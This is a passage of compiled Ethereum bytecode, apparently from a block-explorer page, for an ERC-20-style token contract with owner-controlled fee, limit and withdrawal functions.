080fd5b506103bb611310565b3480156106f957600080fd5b506103bb611316565b34801561070e57600080fd5b506103bb6004803603602081101561072557600080fd5b50356001600160a01b031661131c565b34801561074157600080fd5b506103a46004803603604081101561075857600080fd5b506001600160a01b0381351690602001351515611375565b34801561077c57600080fd5b506103a46004803603602081101561079357600080fd5b50356001600160a01b03166113e8565b3480156107af57600080fd5b506103a4600480360360208110156107c657600080fd5b50356001600160a01b0316611452565b3480156107e257600080fd5b506103a4600480360360808110156107f957600080fd5b506001600160a01b0381358116916020810135821691604082013581169160600135166114c1565b34801561082d57600080fd5b50610836611599565b604080516001600160a01b039092168252519081900360200190f35b34801561085e57600080fd5b506103666004803603604081101561087557600080fd5b506001600160a01b0381351690602001356115a8565b34801561089757600080fd5b506103a4600480360360408110156108ae57600080fd5b50803590602001356115b5565b3480156108c757600080fd5b506108366116f8565b3480156108dc57600080fd5b506103a4600480360360208110156108f357600080fd5b50356001600160a01b0316611707565b34801561090f57600080fd5b506103a46004803603602081101561092657600080fd5b50356001600160a01b0316611773565b34801561094257600080fd5b506103a46004803603602081101561095957600080fd5b50356117e2565b34801561096c57600080fd5b506103a46004803603602081101561098357600080fd5b50356001600160a01b0316611840565b34801561099f57600080fd5b506103a4600480360360408110156109b657600080fd5b506001600160a01b03813516906020013515156118aa565b3480156109da57600080fd5b506103a4600480360360408110156109f157600080fd5b5080351515906020013561191d565b348015610a0c57600080fd5b506103bb60048036036040811015610a2357600080fd5b506001600160a01b0381358116916020013516611985565b348015610a4757600080fd5b506103a460048036036040811015610a5e57600080fd5b508035151590602001356001600160a01b03166119b0565b348015610a8257600080fd5b506103a460048036036040811015610a9957600080fd5b5080351515906020013560ff16611a20565b348015610ab757600080fd5b506103a460048036036020811015610ace57600080fd5b50356001600160a01b0316611a8e565b348015610aea57600080fd5b506103a460048036036020811015610b0157600080fd5b50356001600160a01b0316611af7565b348015610b1d57600080fd5b506103a460048036036080811015610b3457600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135611bad565b348015610b6657600080fd5b506103a460048036036020811015610b7d57600080fd5b5035611d0b565b348015610b9057600080fd5b506103a460048036036040811015610ba757600080fd5b5080359060200135611d6b565b348015610bc057600080fd5b5061036660048036036020811015610bd757600080fd5b50356001600160a01b0316611dbb565b604080518082019091526009815268554e4920414249485360b81b602082015290565b3360008181526009602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b610c7a33611dbb565b610cb9576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601855565b60045490565b610ccd33611dbb565b610d0c576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601e805460ff19166001179055565b6001600160a01b038316600090815260096020908152604080832033845290915281205460001914610dc8576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600982528381203382529091529190912054610da3918490611dd9565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b610dd3848484611e70565b90505b9392505050565b600354600090610e2190610df9906001600160a01b0316611130565b600254610e1b90610e12906001600160a01b0316611130565b60045490612222565b90612222565b905090565b6000546001600160a01b038281169116145b919050565b610e4633611dbb565b610e85576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60285447906001600160a01b03166108fc610eab6064610ea58587612264565b906122bd565b6040518115909202916000818181858888f19350505050158015610ed3573d6000803e3d6000fd5b505050565b600990565b6000610c6b82600019610c0a565b610ef433611dbb565b610f33576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b612710816004540281610f4257fe5b0460065550565b610f5233611dbb565b610f91576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b620186a0816004540281610fa157fe5b0460075550565b610fb133611dbb565b610ff0576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601955565b610ffe33611dbb565b61103d576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03166000908152600a60209081526040808320805494151560ff199586168117909155600b83528184208054861682179055600c83528184208054861682179055600d83528184208054861682179055600e9092529091208054909216179055565b6110af33611dbb565b6110ee576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600f849055601083905560118290556111118261110b86866122ff565b906122ff565b6012556013819055600381046012541061112a57600080fd5b50505050565b6001600160a01b031660009081526008602052604090205490565b61115433611dbb565b611193576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600080546001600160a01b031916815560408051918252517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639181900360200190a1565b6111e033611dbb565b61121f576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b61125333611dbb565b611292576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6112c633611dbb565b611305576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601791909155601555565b60065481565b60055481565b6014546000906001600160a01b0383811691161461134957602054611342906001612264565b9050610e38565b6014546001600160a01b038381169116141561136d57601f54611342906001612264565b505060125490565b61137e33611dbb565b6113bd576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6113f133611dbb565b611430576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b602480546001600160a01b0319166001600160a01b0392909216919091179055565b61145b33611dbb565b61149a576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b602780546001600160a01b0319166001600160a01b0383161790556114be81612359565b50565b6114ca33611dbb565b611509576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b602580546001600160a01b0319166001600160a01b03861617905561152d84612359565b602680546001600160a01b0319166001600160a01b03851617905561155183612359565b602780546001600160a01b0319166001600160a01b03841617905561157582612359565b602880546001600160a01b0319166001600160a01b03831617905561112a81612359565b6014546001600160a01b031681565b6000610dd6338484611e70565b6115be33611dbb565b6115fd576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b47600061160e83610ea58487612264565b905060006116226002610ea5846001612264565b905060006116366002610ea5856001612264565b6025546018546040519293506000926001600160a01b0390921691859084818181858888f193505050503d806000811461168c576040519150601f19603f3d011682016040523d82523d6000602084013e611691565b606091505b50506026546018546040519293506001600160a01b039091169184906000818181858888f193505050503d80600081146116e7576040519150601f19603f3d011682016040523d82523d6000602084013e6116ec565b606091505b50505050505050505050565b6000546001600160a01b031690565b61171033611dbb565b61174f576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b602880546001600160a01b0319166001600160a01b0383161790556114be81612359565b61177c33611dbb565b6117bb576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b6117eb33611dbb565b61182a576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b61271081600454028161183957fe5b0460055550565b61184933611dbb565b611888576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b602380546001600160a01b0319166001600160a01b0392909216919091179055565b6118b333611dbb565b6118f2576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b61192633611dbb565b611965576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6021805460ff1916831515179055600454620186a0908202046022555050565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6119b933611dbb565b6119f8576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03166000908152600e60205260409020805460ff1916911515919091179055565b611a2933611dbb565b611a68576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601a805460ff19169215159290921761ff00191661010060ff9290921691909102179055565b611a9733611dbb565b611ad6576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b611b0033611dbb565b611b3f576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff1916909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b611bb633611dbb565b611bf5576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6000846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050602060405180830381600087803b158015611c4657600080fd5b505af1158015611c5a573d6000803e3d6000fd5b505050506040513d6020811015611c7057600080fd5b505190506001600160a01b03851663a9059cbb85611c9285610ea58689612264565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015611cd857600080fd5b505af1158015611cec573d6000803e3d6000fd5b505050506040513d6020811015611d0257600080fd5b50505050505050565b611d1433611dbb565b611d53576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6114be612710826004540281611d6557fe5b046123c2565b611d7433611dbb565b611db3576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601f55602055565b6001600160a01b031660009081526001602052604090205460ff1690565b60008184841115611e685760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611e2d578181015183820152602001611e15565b50505050905090810190601f168015611e5a5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b602854600090600160a01b900460ff1615611e9757611e90848484612742565b9050610dd6565b6001600160a01b03841660009081526001602052604090205460ff16158015611ed957506001600160a01b03831660009081526001602052604090205460ff16155b15611f2c57601e5460ff16611f2c576040805162461bcd60e51b815260206004820152601460248201527329bbb0b81027b1b1bab930b731b29022b93937b960611b604482015290519081900360640190fd5b6001600160a01b03841660009081526001602052604090205460ff16158015611f6e57506001600160a01b0383166000908152600d602052604090205460ff16155b8015611f8357506001600160a01b0383163014155b8015611f9d57506002546001600160a01b03848116911614155b8015611fb757506014546001600160a01b03848116911614155b8015611fd157506024546001600160a01b03848116911614155b15611fef5760065482611fe385611130565b011115611fef57600080fd5b6014546001600160a01b0385811691161480159061200f5750601a5460ff165b801561203457506001600160a01b0384166000908152600c602052604090205460ff16155b15612086576001600160a01b0384166000908152601b6020526040902054421161205d57600080fd5b601a546001600160a01b0385166000908152601b6020526040902061010090910460ff16420190555b612091848484612811565b6014546001600160a01b03858116911614156120cc57601c546001600160a01b0384166000908152601d6020526040902060ff909116420190555b6120d5826128a2565b80156120fa57506001600160a01b0384166000908152600e602052604090205460ff16155b801561211d57506001600160a01b0384166000908152601d602052604090205442115b1561212b5761212b826123c2565b60408051808201825260018152602b60f81b6020808301919091526001600160a01b03871660009081526008909152919091205461216a918490611dd9565b6001600160a01b03808616600081815260086020526040812093909355601454612198921614158686612908565b6121a257826121ac565b6121ac8584612956565b6001600160a01b0385166000908152600860205260409020549091506121d290826122ff565b6001600160a01b038086166000818152600860209081526040918290209490945580518581529051919392891692600080516020612b5983398151915292918290030190a3506001949350505050565b6000610dd683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611dd9565b60008261227357506000610c6b565b8282028284828161228057fe5b0414610dd65760405162461bcd60e51b8152600401808060200182810382526021815260200180612b386021913960400191505060405180910390fd5b6000610dd683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a84565b600082820183811015610dd6576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6001600160a01b03166000908152600a602090815260408083208054600160ff199182168117909255600b84528285208054821683179055600c84528285208054821683179055600d84528285208054821683179055600e909352922080549091169091179055565b6028805460ff60a01b1916600160a01b1790556016546017546000916123fa91600291610ea59182906123f488612ae9565b90612264565b9050600061240b82610e1b85612ae9565b604080516002808252606080830184529394509091602083019080368337019050509050308160008151811061243d57fe5b6001600160a01b03928316602091820292909201810191909152602354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561249157600080fd5b505afa1580156124a5573d6000803e3d6000fd5b505050506040513d60208110156124bb57600080fd5b50518151829060019081106124cc57fe5b6001600160a01b0392831660209182029290920181019190915260235460405163791ac94760e01b8152600481018681526000602483018190523060648401819052426084850181905260a060448601908152895160a487015289514799979097169763791ac947978c9795968c9690939260c49091019187820191028083838b5b8381101561256657818101518382015260200161254e565b505050509050019650505050505050600060405180830381600087803b15801561258f57600080fd5b505af11580156125a3573d6000803e3d6000fd5b5050505060006125bc824761222290919063ffffffff16565b905060006125e26125d960026017546122bd90919063ffffffff16565b60165490612222565b905060006126046002610ea584610ea56017548861226490919063ffffffff16565b9050600061262183610ea56015548761226490919063ffffffff16565b6027546018546040519293506000926001600160a01b0390921691849084818181858888f193505050503d8060008114612677576040519150601f19603f3d011682016040523d82523d6000602084013e61267c565b606091505b5060009250508915905061272957602354602480546040805163f305d71960e01b81523060048201529283018d905260006044840181905260648401526001600160a01b0391821660848401524260a48401525192169163f305d71991869160c480830192606092919082900301818588803b1580156126fb57600080fd5b505af115801561270f573d6000803e3d6000fd5b50505050506040513d606081101561272657600080fd5b50505b50506028805460ff60a01b191690555050505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0386166000908152600890915291822054612793918490611dd9565b6001600160a01b0380861660009081526008602052604080822093909355908516815220546127c290836122ff565b6001600160a01b038085166000818152600860209081526040918290209490945580518681529051919392881692600080516020612b5983398151915292918290030190a35060019392505050565b6005548111158061283a57506001600160a01b0383166000908152600b602052604090205460ff165b8061285d57506001600160a01b0382166000908152600e602052604090205460ff165b610ed3576040805162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b604482015290519081900360640190fd5b6014546000906001600160a01b031633148015906128ca5750602854600160a01b900460ff16155b80156128d8575060215460ff165b80156128e657506007548210155b8015610c6b575050602254306000908152600860205260409020541015919050565b6000831561293357506001600160a01b0382166000908152600a602052604090205460ff1615610dd6565b506001600160a01b03166000908152600a602052604090205460ff161592915050565b600080612972601354610ea561296b8761131c565b8690612264565b905060006129906129828661131c565b601154610ea5908590612264565b9050600061299e8383612222565b306000908152600860205260409020549091506129bb90826122ff565b30600081815260086020908152604091829020939093558051848152905191926001600160a01b038a1692600080516020612b598339815191529281900390910190a36002546001600160a01b0316600090815260086020526040902054612a2390836122ff565b600280546001600160a01b039081166000908152600860209081526040918290209490945591548251868152925190821693918a1692600080516020612b5983398151915292908290030190a3612a7a8584612222565b9695505050505050565b60008183612ad35760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611e2d578181015183820152602001611e15565b506000838581612adf57fe5b0495945050505050565b600080612b07601654610ea56019548661226490919063ffffffff16565b90506022548111612b19579050610e38565b602254811115612b2d575050602254610e38565b505060225491905056fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212208e9fa2cf1da83d34ce406e6c829ce88940864be5e39a260cb5052592f7d84c1b64736f6c63430007040033
Deployed Bytecode
0x6080604052600436106102975760003560e01c80638ebfc7961161015a578063c851cc32116100c1578063f0b37c041161007a578063f0b37c0414610aab578063f2fde38b14610ade578063f453600714610b11578063f5bade6614610b5a578063f639d53414610b84578063fe9fbb8014610bb45761029e565b8063c851cc3214610960578063d099d35a14610993578063d0e10326146109ce578063dd62ed3e14610a00578063e68736dc14610a3b578063e93e12f214610a765761029e565b8063a9059cbb11610113578063a9059cbb14610852578063aff75ce11461088b578063b4a99a4e146108bb578063b5dce526146108d0578063b6a5d7de14610903578063bc337182146109365761029e565b80638ebfc796146107355780639017ab2d14610770578063906e9dd0146107a357806395d89b41146102a35780639608088c146107d6578063a8aa1b31146108215761029e565b80635f3a9b94116101fe57806372d5347e116101b757806372d5347e146106325780637537ccb61461066d57806377cfbd02146106a857806378109e54146106d85780637d1db4a5146106ed5780638c232838146107025761029e565b80635f3a9b941461051f57806361ca54f4146105495780636cfaa1a3146105735780636fcba377146105ae57806370a08231146105ea578063715018a61461061d5761029e565b80632b112e49116102505780632b112e49146104255780632f54bf6e1461043a5780633052ea081461046d578063313ce56714610497578063571ac8b0146104c25780635d0044ca146104f55761029e565b806306fdde03146102a3578063095ea7b31461032d5780630c8f78fb1461037a57806318160ddd146103a65780631bffe26b146103cd57806323b872dd146103e25761029e565b3661029e57005b600080fd5b3480156102af57600080fd5b506102b8610be7565b6040805160208082528351818301528351919283929083019185019080838360005b838110156102f25781810151838201526020016102da565b50505050905090810190601f16801561031f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033957600080fd5b506103666004803603604081101561035057600080fd5b506001600160a01b038135169060200135610c0a565b604080519115158252519081900360200190f35b34801561038657600080fd5b506103a46004803603602081101561039d57600080fd5b5035610c71565b005b3480156103b257600080fd5b506103bb610cbe565b60408051918252519081900360200190f35b3480156103d957600080fd5b506103a4610cc4565b3480156103ee57600080fd5b506103666004803603606081101561040557600080fd5b506001600160a01b03813581169160208101359091169060400135610d1b565b34801561043157600080fd5b506103bb610ddd565b34801561044657600080fd5b506103666004803603602081101561045d57600080fd5b50356001600160a01b0316610e26565b34801561047957600080fd5b506103a46004803603602081101561049057600080fd5b5035610e3d565b3480156104a357600080fd5b506104ac610ed8565b6040805160ff9092168252519081900360200190f35b3480156104ce57600080fd5b50610366600480360360208110156104e557600080fd5b50356001600160a01b0316610edd565b34801561050157600080fd5b506103a46004803603602081101561051857600080fd5b5035610eeb565b34801561052b57600080fd5b506103a46004803603602081101561054257600080fd5b5035610f49565b34801561055557600080fd5b506103a46004803603602081101561056c57600080fd5b5035610fa8565b34801561057f57600080fd5b506103a46004803603604081101561059657600080fd5b508035151590602001356001600160a01b0316610ff5565b3480156105ba57600080fd5b506103a4600480360360808110156105d157600080fd5b50803590602081013590604081013590606001356110a6565b3480156105f657600080fd5b506103bb6004803603602081101561060d57600080fd5b50356001600160a01b0316611130565b34801561062957600080fd5b506103a461114b565b34801561063e57600080fd5b506103a46004803603604081101561065557600080fd5b506001600160a01b03813516906020013515156111d7565b34801561067957600080fd5b506103a46004803603604081101561069057600080fd5b506001600160a01b038135169060200135151561124a565b3480156106b457600080fd5b506103a4600480360360408110156106cb57600080fd5b50803590602001356112bd565b3480156106e457600080fd5b506103bb611310565b3480156106f957600080fd5b506103bb611316565b34801561070e57600080fd5b506103bb6004803603602081101561072557600080fd5b50356001600160a01b031661131c565b34801561074157600080fd5b506103a46004803603604081101561075857600080fd5b506001600160a01b0381351690602001351515611375565b34801561077c57600080fd5b506103a46004803603602081101561079357600080fd5b50356001600160a01b03166113e8565b3480156107af57600080fd5b506103a4600480360360208110156107c657600080fd5b50356001600160a01b0316611452565b3480156107e257600080fd5b506103a4600480360360808110156107f957600080fd5b506001600160a01b0381358116916020810135821691604082013581169160600135166114c1565b34801561082d57600080fd5b50610836611599565b604080516001600160a01b039092168252519081900360200190f35b34801561085e57600080fd5b506103666004803603604081101561087557600080fd5b506001600160a01b0381351690602001356115a8565b34801561089757600080fd5b506103a4600480360360408110156108ae57600080fd5b50803590602001356115b5565b3480156108c757600080fd5b506108366116f8565b3480156108dc57600080fd5b506103a4600480360360208110156108f357600080fd5b50356001600160a01b0316611707565b34801561090f57600080fd5b506103a46004803603602081101561092657600080fd5b50356001600160a01b0316611773565b34801561094257600080fd5b506103a46004803603602081101561095957600080fd5b50356117e2565b34801561096c57600080fd5b506103a46004803603602081101561098357600080fd5b50356001600160a01b0316611840565b34801561099f57600080fd5b506103a4600480360360408110156109b657600080fd5b506001600160a01b03813516906020013515156118aa565b3480156109da57600080fd5b506103a4600480360360408110156109f157600080fd5b5080351515906020013561191d565b348015610a0c57600080fd5b506103bb60048036036040811015610a2357600080fd5b506001600160a01b0381358116916020013516611985565b348015610a4757600080fd5b506103a460048036036040811015610a5e57600080fd5b508035151590602001356001600160a01b03166119b0565b348015610a8257600080fd5b506103a460048036036040811015610a9957600080fd5b5080351515906020013560ff16611a20565b348015610ab757600080fd5b506103a460048036036020811015610ace57600080fd5b50356001600160a01b0316611a8e565b348015610aea57600080fd5b506103a460048036036020811015610b0157600080fd5b50356001600160a01b0316611af7565b348015610b1d57600080fd5b506103a460048036036080811015610b3457600080fd5b506001600160a01b03813581169160208101359091169060408101359060600135611bad565b348015610b6657600080fd5b506103a460048036036020811015610b7d57600080fd5b5035611d0b565b348015610b9057600080fd5b506103a460048036036040811015610ba757600080fd5b5080359060200135611d6b565b348015610bc057600080fd5b5061036660048036036020811015610bd757600080fd5b50356001600160a01b0316611dbb565b604080518082019091526009815268554e4920414249485360b81b602082015290565b3360008181526009602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b610c7a33611dbb565b610cb9576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601855565b60045490565b610ccd33611dbb565b610d0c576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601e805460ff19166001179055565b6001600160a01b038316600090815260096020908152604080832033845290915281205460001914610dc8576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b0387166000908152600982528381203382529091529190912054610da3918490611dd9565b6001600160a01b03851660009081526009602090815260408083203384529091529020555b610dd3848484611e70565b90505b9392505050565b600354600090610e2190610df9906001600160a01b0316611130565b600254610e1b90610e12906001600160a01b0316611130565b60045490612222565b90612222565b905090565b6000546001600160a01b038281169116145b919050565b610e4633611dbb565b610e85576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b60285447906001600160a01b03166108fc610eab6064610ea58587612264565b906122bd565b6040518115909202916000818181858888f19350505050158015610ed3573d6000803e3d6000fd5b505050565b600990565b6000610c6b82600019610c0a565b610ef433611dbb565b610f33576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b612710816004540281610f4257fe5b0460065550565b610f5233611dbb565b610f91576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b620186a0816004540281610fa157fe5b0460075550565b610fb133611dbb565b610ff0576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601955565b610ffe33611dbb565b61103d576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03166000908152600a60209081526040808320805494151560ff199586168117909155600b83528184208054861682179055600c83528184208054861682179055600d83528184208054861682179055600e9092529091208054909216179055565b6110af33611dbb565b6110ee576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600f849055601083905560118290556111118261110b86866122ff565b906122ff565b6012556013819055600381046012541061112a57600080fd5b50505050565b6001600160a01b031660009081526008602052604090205490565b61115433611dbb565b611193576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600080546001600160a01b031916815560408051918252517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639181900360200190a1565b6111e033611dbb565b61121f576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600c60205260409020805460ff1916911515919091179055565b61125333611dbb565b611292576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600d60205260409020805460ff1916911515919091179055565b6112c633611dbb565b611305576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601791909155601555565b60065481565b60055481565b6014546000906001600160a01b0383811691161461134957602054611342906001612264565b9050610e38565b6014546001600160a01b038381169116141561136d57601f54611342906001612264565b505060125490565b61137e33611dbb565b6113bd576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600a60205260409020805460ff1916911515919091179055565b6113f133611dbb565b611430576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b602480546001600160a01b0319166001600160a01b0392909216919091179055565b61145b33611dbb565b61149a576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b602780546001600160a01b0319166001600160a01b0383161790556114be81612359565b50565b6114ca33611dbb565b611509576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b602580546001600160a01b0319166001600160a01b03861617905561152d84612359565b602680546001600160a01b0319166001600160a01b03851617905561155183612359565b602780546001600160a01b0319166001600160a01b03841617905561157582612359565b602880546001600160a01b0319166001600160a01b03831617905561112a81612359565b6014546001600160a01b031681565b6000610dd6338484611e70565b6115be33611dbb565b6115fd576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b47600061160e83610ea58487612264565b905060006116226002610ea5846001612264565b905060006116366002610ea5856001612264565b6025546018546040519293506000926001600160a01b0390921691859084818181858888f193505050503d806000811461168c576040519150601f19603f3d011682016040523d82523d6000602084013e611691565b606091505b50506026546018546040519293506001600160a01b039091169184906000818181858888f193505050503d80600081146116e7576040519150601f19603f3d011682016040523d82523d6000602084013e6116ec565b606091505b50505050505050505050565b6000546001600160a01b031690565b61171033611dbb565b61174f576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b602880546001600160a01b0319166001600160a01b0383161790556114be81612359565b61177c33611dbb565b6117bb576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03166000908152600160208190526040909120805460ff19169091179055565b6117eb33611dbb565b61182a576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b61271081600454028161183957fe5b0460055550565b61184933611dbb565b611888576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b602380546001600160a01b0319166001600160a01b0392909216919091179055565b6118b333611dbb565b6118f2576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600b60205260409020805460ff1916911515919091179055565b61192633611dbb565b611965576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6021805460ff1916831515179055600454620186a0908202046022555050565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b6119b933611dbb565b6119f8576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03166000908152600e60205260409020805460ff1916911515919091179055565b611a2933611dbb565b611a68576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601a805460ff19169215159290921761ff00191661010060ff9290921691909102179055565b611a9733611dbb565b611ad6576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6001600160a01b03166000908152600160205260409020805460ff19169055565b611b0033611dbb565b611b3f576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b038316908117825580825260016020818152604093849020805460ff1916909217909155825191825291517f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163929181900390910190a150565b611bb633611dbb565b611bf5576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6000846001600160a01b03166370a08231306040518263ffffffff1660e01b815260040180826001600160a01b03168152602001915050602060405180830381600087803b158015611c4657600080fd5b505af1158015611c5a573d6000803e3d6000fd5b505050506040513d6020811015611c7057600080fd5b505190506001600160a01b03851663a9059cbb85611c9285610ea58689612264565b6040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b158015611cd857600080fd5b505af1158015611cec573d6000803e3d6000fd5b505050506040513d6020811015611d0257600080fd5b50505050505050565b611d1433611dbb565b611d53576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b6114be612710826004540281611d6557fe5b046123c2565b611d7433611dbb565b611db3576040805162461bcd60e51b815260206004820152600b60248201526a085055551213d49256915160aa1b604482015290519081900360640190fd5b601f55602055565b6001600160a01b031660009081526001602052604090205460ff1690565b60008184841115611e685760405162461bcd60e51b815260040180806020018281038252838181518152